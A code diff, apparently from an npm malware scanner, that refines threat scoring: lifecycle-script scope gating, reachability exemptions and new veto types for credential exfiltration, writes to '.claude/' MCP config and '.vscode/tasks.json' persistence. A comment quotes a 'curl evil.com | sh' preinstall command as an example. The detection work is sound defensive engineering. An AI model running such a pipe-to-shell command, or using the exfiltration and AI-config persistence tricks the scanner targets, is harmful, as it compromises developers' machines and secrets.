645
|
+
// target file or its direct static imports.
|
|
646
|
+
// Returns: 'pass' (compound should fire), 'skip' (no match in scope), 'unscoped' (can't resolve target)
|
|
647
|
+
const _NODE_FILE_RE = /\bnode\s+(?:\.\/)?([^\s"';&|]+\.(?:js|mjs|cjs))\b/;
|
|
648
|
+
|
|
649
|
+
function _resolveLifecycleScopeGate(compound, threats, targetPath) {
|
|
650
|
+
const fs = require('fs');
|
|
651
|
+
const pathMod = require('path');
|
|
652
|
+
|
|
653
|
+
// 1. Extract lifecycle target files from lifecycle_script threats + package.json
|
|
654
|
+
const lifecycleTargetFiles = new Set();
|
|
655
|
+
const lifecycleThreats = threats.filter(t => t.type === 'lifecycle_script');
|
|
656
|
+
for (const lt of lifecycleThreats) {
|
|
657
|
+
const match = lt.message && _NODE_FILE_RE.exec(lt.message);
|
|
658
|
+
if (match) lifecycleTargetFiles.add(match[1]);
|
|
659
|
+
}
|
|
660
|
+
|
|
661
|
+
// Also read package.json directly for robustness
|
|
662
|
+
try {
|
|
663
|
+
const pkgPath = pathMod.join(targetPath, 'package.json');
|
|
664
|
+
if (fs.existsSync(pkgPath)) {
|
|
665
|
+
const pkgData = JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
|
|
666
|
+
const scripts = pkgData.scripts || {};
|
|
667
|
+
const LIFECYCLE_NAMES = ['preinstall', 'install', 'postinstall', 'preuninstall', 'postuninstall', 'prepare'];
|
|
668
|
+
for (const name of LIFECYCLE_NAMES) {
|
|
669
|
+
if (scripts[name]) {
|
|
670
|
+
const m = _NODE_FILE_RE.exec(scripts[name]);
|
|
671
|
+
if (m) lifecycleTargetFiles.add(m[1]);
|
|
672
|
+
}
|
|
673
|
+
}
|
|
674
|
+
}
|
|
675
|
+
} catch { /* ignore */ }
|
|
676
|
+
|
|
677
|
+
// 2. If no target file extractable, return 'unscoped'
|
|
678
|
+
if (lifecycleTargetFiles.size === 0) return 'unscoped';
|
|
679
|
+
|
|
680
|
+
// 3. Build the scoped file set: target files + their 1-level static imports
|
|
681
|
+
const scopedFiles = new Set();
|
|
682
|
+
for (const relTarget of lifecycleTargetFiles) {
|
|
683
|
+
const normalized = relTarget.replace(/\\/g, '/');
|
|
684
|
+
scopedFiles.add(normalized);
|
|
685
|
+
// Parse the target file and extract its static imports
|
|
686
|
+
const absTarget = pathMod.resolve(targetPath, relTarget);
|
|
687
|
+
const imports = _extractStaticImports(absTarget);
|
|
688
|
+
for (const imp of imports) {
|
|
689
|
+
// Resolve relative import against the target file's directory
|
|
690
|
+
const impDir = pathMod.dirname(absTarget);
|
|
691
|
+
let resolved = pathMod.relative(targetPath, pathMod.resolve(impDir, imp)).replace(/\\/g, '/');
|
|
692
|
+
// Try with .js extension if not present
|
|
693
|
+
if (!resolved.match(/\.(js|mjs|cjs)$/)) {
|
|
694
|
+
if (fs.existsSync(pathMod.resolve(targetPath, resolved + '.js'))) {
|
|
695
|
+
resolved += '.js';
|
|
696
|
+
} else if (fs.existsSync(pathMod.resolve(targetPath, resolved, 'index.js'))) {
|
|
697
|
+
resolved = resolved + '/index.js';
|
|
698
|
+
}
|
|
699
|
+
}
|
|
700
|
+
scopedFiles.add(resolved);
|
|
701
|
+
}
|
|
702
|
+
}
|
|
703
|
+
|
|
704
|
+
// 4. Check if any non-lifecycle required type has a threat in the scoped file set
|
|
705
|
+
const nonLifecycleReqs = compound.requires.filter(r => r !== 'lifecycle_script');
|
|
706
|
+
for (const req of nonLifecycleReqs) {
|
|
707
|
+
const reqThreats = threats.filter(t => t.type === req && t.file);
|
|
708
|
+
for (const t of reqThreats) {
|
|
709
|
+
const normalizedFile = t.file.replace(/\\/g, '/');
|
|
710
|
+
if (scopedFiles.has(normalizedFile)) return 'pass';
|
|
711
|
+
}
|
|
712
|
+
}
|
|
713
|
+
|
|
714
|
+
return 'skip';
|
|
715
|
+
}
|
|
716
|
+
|
|
598
717
|
/**
|
|
599
718
|
* Apply compound boost rules: inject synthetic CRITICAL threats when
|
|
600
719
|
* co-occurring threat types indicate unambiguous malice.
|
|
601
720
|
* Called AFTER applyFPReductions to recover individually-downgraded signals.
|
|
602
721
|
* @param {Array} threats - deduplicated threat array (mutated in place)
|
|
722
|
+
* @param {string} [targetPath] - scan target directory (for lifecycle scope resolution)
|
|
603
723
|
*/
|
|
604
|
-
function applyCompoundBoosts(threats) {
|
|
724
|
+
function applyCompoundBoosts(threats, targetPath) {
|
|
605
725
|
const typeSet = new Set(threats.map(t => t.type));
|
|
606
726
|
|
|
607
727
|
// Build map of type → first file encountered (for file assignment)
|
|
@@ -661,6 +781,36 @@ function applyCompoundBoosts(threats) {
|
|
|
661
781
|
if (anyFileBearing && allComponentsBundled) continue;
|
|
662
782
|
}
|
|
663
783
|
|
|
784
|
+
// v2.11.11: Lifecycle scope gate. For compounds with lifecycleScoped: true,
|
|
785
|
+
// the non-lifecycle required type must have at least one threat in the file
|
|
786
|
+
// directly executed by the lifecycle script OR in its static imports (1 level).
|
|
787
|
+
// On monorepos, unscoped co-occurrence (lifecycle in package.json + exec in
|
|
788
|
+
// scripts/release/publish.js) is noise. Fallback: when no target file can be
|
|
789
|
+
// extracted (e.g. "npm run build"), the compound fires with severity capped
|
|
790
|
+
// at HIGH and tagged unscopedCompound so the floor-50 logic skips it.
|
|
791
|
+
if (compound.lifecycleScoped && targetPath) {
|
|
792
|
+
const scopeResult = _resolveLifecycleScopeGate(compound, threats, targetPath);
|
|
793
|
+
if (scopeResult === 'skip') continue;
|
|
794
|
+
if (scopeResult === 'unscoped') {
|
|
795
|
+
// Can't extract target file — fire but cap severity and tag
|
|
796
|
+
if (!compoundAlreadyPresent) {
|
|
797
|
+
const cappedSeverity = compound.severity === 'CRITICAL' ? 'HIGH' : compound.severity;
|
|
798
|
+
threats.push({
|
|
799
|
+
type: compound.type,
|
|
800
|
+
severity: cappedSeverity,
|
|
801
|
+
message: compound.message + ' (unscoped — lifecycle target not resolvable)',
|
|
802
|
+
file: typeFileMap[compound.fileFrom] || '(unknown)',
|
|
803
|
+
count: 1,
|
|
804
|
+
compound: true,
|
|
805
|
+
unscopedCompound: true
|
|
806
|
+
});
|
|
807
|
+
typeSet.add(compound.type);
|
|
808
|
+
}
|
|
809
|
+
continue; // skip the normal push below — already handled
|
|
810
|
+
}
|
|
811
|
+
// scopeResult === 'pass' — compound fires normally
|
|
812
|
+
}
|
|
813
|
+
|
|
664
814
|
// Same-file constraint: required types must appear in at least one common file.
|
|
665
815
|
// sameFile: true = ALL required types must share a file.
|
|
666
816
|
// sameFileTypes: [...] = only specified types must share a file.
|
|
@@ -736,6 +886,16 @@ function applyFPReductions(threats, reachableFiles, packageName, packageDeps, re
|
|
|
736
886
|
typeCounts[t.type] = (typeCounts[t.type] || 0) + 1;
|
|
737
887
|
}
|
|
738
888
|
|
|
889
|
+
// Mini Shai-Hulud (2026-05): pre-compute files that contain reachability-exempt
|
|
890
|
+
// findings. Co-occurring threats in these files are also exempt from the
|
|
891
|
+
// unreachable downgrade — the exempt finding proves structural malice.
|
|
892
|
+
const _filesWithExemptThreats = new Set();
|
|
893
|
+
for (const t of threats) {
|
|
894
|
+
if (t.file && REACHABILITY_EXEMPT_TYPES.has(t.type)) {
|
|
895
|
+
_filesWithExemptThreats.add(t.file.replace(/\\/g, '/'));
|
|
896
|
+
}
|
|
897
|
+
}
|
|
898
|
+
|
|
739
899
|
const totalThreats = threats.length;
|
|
740
900
|
|
|
741
901
|
// P4: Plugin loader pattern — packages with 5+ dynamic_require + dynamic_import combined
|
|
@@ -954,12 +1114,18 @@ function applyFPReductions(threats, reachableFiles, packageName, packageDeps, re
|
|
|
954
1114
|
// Reachability: findings in files not reachable from entry points → LOW
|
|
955
1115
|
// Exception: .d.ts files are never require()'d by JS but are executed by ts-node/tsx/bun.
|
|
956
1116
|
// Executable code in .d.ts is always malicious — exempt from unreachable downgrade.
|
|
1117
|
+
// Exception 2 (Mini Shai-Hulud, 2026-05): if the same file contains at least one
|
|
1118
|
+
// reachability-exempt finding (env_charcode_reconstruction, function_constructor_require,
|
|
1119
|
+
// etc.), all other findings in that file are also exempt. Rationale: the exempt
|
|
1120
|
+
// finding proves the file contains structurally malicious code, so co-occurring
|
|
1121
|
+
// signals (obfuscation, dataflow, credential harvest) are scoring-relevant regardless
|
|
1122
|
+
// of whether the file is reachable via require/import.
|
|
957
1123
|
const isDtsFile = t.file && t.file.endsWith('.d.ts');
|
|
958
1124
|
if (reachableFiles && reachableFiles.size > 0 && t.file &&
|
|
959
1125
|
!REACHABILITY_EXEMPT_TYPES.has(t.type) &&
|
|
960
1126
|
!isPackageLevelThreat(t) && !isDtsFile) {
|
|
961
1127
|
const normalizedFile = t.file.replace(/\\/g, '/');
|
|
962
|
-
if (!reachableFiles.has(normalizedFile)) {
|
|
1128
|
+
if (!reachableFiles.has(normalizedFile) && !_filesWithExemptThreats.has(normalizedFile)) {
|
|
963
1129
|
t.reductions.push({ rule: 'unreachable', from: t.severity, to: 'LOW' });
|
|
964
1130
|
t.severity = 'LOW';
|
|
965
1131
|
t.unreachable = true;
|
|
@@ -1139,7 +1305,9 @@ function calculateRiskScore(deduped, intentResult) {
|
|
|
1139
1305
|
let packageScore = computeGroupScore(packageLevelThreats);
|
|
1140
1306
|
// Floor: CRITICAL package-level threats (lifecycle_shell_pipe, IOC match) → minimum HIGH (50)
|
|
1141
1307
|
// A single "curl evil.com | sh" in preinstall = 25 points = MEDIUM without floor.
|
|
1142
|
-
|
|
1308
|
+
// v2.11.11: unscopedCompound threats (lifecycle target not resolvable) are excluded from
|
|
1309
|
+
// the floor — they represent uncertain correlations that should not inflate the score.
|
|
1310
|
+
if (packageScore >= 25 && packageLevelThreats.some(t => t.severity === 'CRITICAL' && !t.unscopedCompound)) {
|
|
1143
1311
|
packageScore = Math.max(packageScore, 50);
|
|
1144
1312
|
}
|
|
1145
1313
|
// v2.10.94: Co-occurrence floor — 2+ distinct CRITICAL package-level types (different
|
|
@@ -1147,7 +1315,7 @@ function calculateRiskScore(deduped, intentResult) {
|
|
|
1147
1315
|
// (CRITICAL tier) so the final risk level reflects real severity instead of stopping
|
|
1148
1316
|
// at HIGH. Catches apache-arrow-14 (curl_env_exfil + lifecycle_env_exfil compound).
|
|
1149
1317
|
const criticalPkgTypes = new Set(
|
|
1150
|
-
packageLevelThreats.filter(t => t.severity === 'CRITICAL').map(t => t.type)
|
|
1318
|
+
packageLevelThreats.filter(t => t.severity === 'CRITICAL' && !t.unscopedCompound).map(t => t.type)
|
|
1151
1319
|
);
|
|
1152
1320
|
if (criticalPkgTypes.size >= 2) {
|
|
1153
1321
|
packageScore = Math.max(packageScore, 75);
|
|
@@ -1176,7 +1344,7 @@ function calculateRiskScore(deduped, intentResult) {
|
|
|
1176
1344
|
const boostPackageThreats = deduped.filter(t => isPackageLevelThreat(t) && t.boostSignal);
|
|
1177
1345
|
if (boostPackageThreats.length > 0) {
|
|
1178
1346
|
packageScore = computeGroupScore([...packageLevelThreats, ...boostPackageThreats]);
|
|
1179
|
-
if (packageScore >= 25 && [...packageLevelThreats, ...boostPackageThreats].some(t => t.severity === 'CRITICAL')) {
|
|
1347
|
+
if (packageScore >= 25 && [...packageLevelThreats, ...boostPackageThreats].some(t => t.severity === 'CRITICAL' && !t.unscopedCompound)) {
|
|
1180
1348
|
packageScore = Math.max(packageScore, 50);
|
|
1181
1349
|
}
|
|
1182
1350
|
}
|
|
@@ -105,7 +105,13 @@ const VETO_TYPES = new Set([
|
|
|
105
105
|
// IOC hits (never downgraded regardless of context)
|
|
106
106
|
'ioc_match',
|
|
107
107
|
'known_malicious_package',
|
|
108
|
-
'shai_hulud_marker'
|
|
108
|
+
'shai_hulud_marker',
|
|
109
|
+
// Mini Shai-Hulud campaign (2026-05): detached process + credential harvest + network
|
|
110
|
+
// is the DPRK/Lazarus evasion pattern. Writing to .claude/settings.json or
|
|
111
|
+
// .vscode/tasks.json is developer tooling persistence — never produced by a bundler.
|
|
112
|
+
'detached_credential_exfil', // AST-047 — spawn detached + env + network
|
|
113
|
+
'ai_config_injection', // AST-027 — writes to .claude/ MCP config
|
|
114
|
+
'ide_task_persistence' // AST-035 — writes to .vscode/tasks.json
|
|
109
115
|
]);
|
|
110
116
|
|
|
111
117
|
// Sensitive environment variable patterns. An `env_access` threat whose
|